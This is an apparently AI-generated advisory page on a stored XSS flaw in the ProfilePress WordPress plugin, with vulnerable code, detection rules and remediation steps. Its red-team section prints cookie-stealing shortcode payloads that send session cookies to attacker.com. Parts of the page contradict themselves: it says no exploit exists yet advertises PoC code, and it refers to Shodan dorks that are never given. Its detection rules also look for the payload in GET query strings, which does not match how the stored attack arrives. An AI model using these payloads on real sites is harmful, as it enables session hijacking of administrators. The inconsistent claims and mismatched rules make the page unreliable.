CVE-2024-1046
Executive Summary
CVE-2024-1046 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the ProfilePress WordPress plugin (versions up to and including 4.14.3). This plugin provides paid membership, ecommerce, user registration, login forms, user profiles, and content restriction features. The flaw resides in the reg-number-field shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level permissions can inject arbitrary JavaScript or HTML into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to authenticated users with publishing capabilities, but the impact is amplified because the injected script runs in the context of any visitor, including site administrators. The plugin is widely used for membership and ecommerce, making it a high-value target for supply chain attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. However, the plugin's update mechanism is critical: site administrators must manually apply patches or use a managed WordPress platform. The lack of an official patch increases the risk of supply chain compromise through malicious forks or unofficial updates.
CVSS Breakdown & Threat Level
CVSS Score: 6.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely via HTTP requests.
- Attack Complexity (AC): Low – No special conditions required; the shortcode attribute is directly processed.
- Privileges Required (PR): Low – Attacker needs Contributor-level or higher WordPress account.
- User Interaction (UI): None – The victim does not need to click anything; visiting the page triggers the XSS.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other origins).
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content (e.g., defacement).
- Availability (A): None – No direct denial of service.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., admin session hijacking) and the plugin's popularity elevate the risk.
Deep Dive & Mechanics
The vulnerability exists in the reg-number-field shortcode, which is part of ProfilePress's registration form builder. The shortcode accepts user-defined attributes (e.g., placeholder, class, id, value) to customize the number input field. The plugin fails to sanitize or escape these attributes before rendering them in the HTML output.
Root Cause: Insufficient input sanitization and output escaping on user-supplied shortcode attributes. WordPress's esc_attr() function is not applied to the attribute values, allowing an attacker to inject arbitrary HTML attributes or JavaScript event handlers.
Attack Flow:
- An authenticated user with Contributor-level permissions creates or edits a post/page.
- The attacker inserts the
[reg-number-field]shortcode with a malicious attribute, e.g.,[reg-number-field placeholder="<script>alert('XSS')</script>"]. - When the page is rendered, the plugin outputs the attribute value directly into the HTML without escaping.
- Any visitor to the page triggers the injected script.
Example Payload:
[reg-number-field placeholder="\" onfocus=\"alert(1)\" autofocus=\"true"]
This injects an onfocus event handler that executes when the field receives focus (which happens automatically due to autofocus).
Vulnerable vs. Patched Code
Vulnerable Code (ProfilePress <= 4.14.3):
The shortcode handler likely uses shortcode_atts() to merge defaults with user attributes, then directly echoes the attribute values without escaping.
// Vulnerable example (simplified)
function reg_number_field_shortcode($atts) {
$atts = shortcode_atts(array(
'placeholder' => '',
'class' => '',
), $atts);
echo '<input type="number" placeholder="' . $atts['placeholder'] . '" class="' . $atts['class'] . '">';
}
Patched Code (Hypothetical):
The fix would apply esc_attr() to each attribute value before output.
// Patched example
function reg_number_field_shortcode($atts) {
$atts = shortcode_atts(array(
'placeholder' => '',
'class' => '',
), $atts);
echo '<input type="number" placeholder="' . esc_attr($atts['placeholder']) . '" class="' . esc_attr($atts['class']) . '">';
}
Note: No official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress site with ProfilePress plugin <= 4.14.3.
- Authenticated user with Contributor role or higher.
Exploitation Steps:
- Log in as a Contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
[reg-number-field placeholder="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"] - Publish or save the post.
- When an administrator visits the page, their session cookie is exfiltrated to the attacker's server.
Alternative Payload (Stealthy):
[reg-number-field placeholder="\" onmouseover=\"fetch('https://attacker.com/steal?data='+btoa(document.cookie))\""]
No public exploit code is available for this CVE.
Blue Team (Defensive)
Detection:
- Monitor for posts/pages containing
[reg-number-fieldwith suspicious attribute values (e.g.,<script,onerror,onfocus). - Use WAF rules to block shortcode attributes containing JavaScript event handlers.
- Review user activity logs for unusual shortcode usage by low-privileged users.
Prevention:
- Disable the
reg-number-fieldshortcode via a custom plugin or filter until a patch is available. - Restrict Contributor-level users from using shortcodes that accept user input.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
File-based IOCs:
- Presence of
[reg-number-fieldshortcode inwp_poststable with malicious attributes. - Modified
wp-content/plugins/wp-user-avatar/files (if attacker uploads a backdoored version).
- Presence of
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
cookie=ordocument.cookie. - Unusual
POSTrequests towp-admin/admin-ajax.phpwith shortcode-related actions.
- Outbound HTTP requests to attacker-controlled domains containing
Log IOCs:
- WordPress debug log entries showing
shortcode_attswith unexpected attribute values. - Web server access logs showing requests to pages containing
reg-number-fieldwith encoded JavaScript.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_1046_ProfilePress_XSS {
meta:
description = "Detects malicious shortcode attributes in ProfilePress plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1046"
strings:
$shortcode = /\[reg-number-field[^\]]*?placeholder\s*=\s*["'][^"']*?<script[^>]*?>/
$event_handler = /\[reg-number-field[^\]]*?on\w+\s*=\s*["'][^"']*?["']/
condition:
any of them
}
Sigma Rule
title: ProfilePress Stored XSS via reg-number-field Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via ProfilePress shortcode attributes
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'reg-number-field'
cs-uri-query|re: 'placeholder\s*=\s*["\'][^"\']*?<script'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1046 ProfilePress Stored XSS Attempt"; flow:to_server,established; content:"reg-number-field"; http_uri; pcre:"/placeholder\s*=\s*[\x22\x27][^\x22\x27]*?<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the shortcode: Add the following code to your theme's
functions.phpor a custom plugin:remove_shortcode('reg-number-field'); - Restrict user roles: Remove Contributor-level users' ability to use shortcodes via a plugin like "User Role Editor".
- Apply virtual patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing
reg-number-fieldwith suspicious attributes.
Long-term Fix:
- Monitor the ProfilePress plugin page for an official patch. If none is released, consider migrating to an alternative membership plugin (e.g., Paid Memberships Pro, MemberPress).
- Implement a Content Security Policy (CSP) that blocks inline scripts:
Header set Content-Security-Policy "script-src 'self';"
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.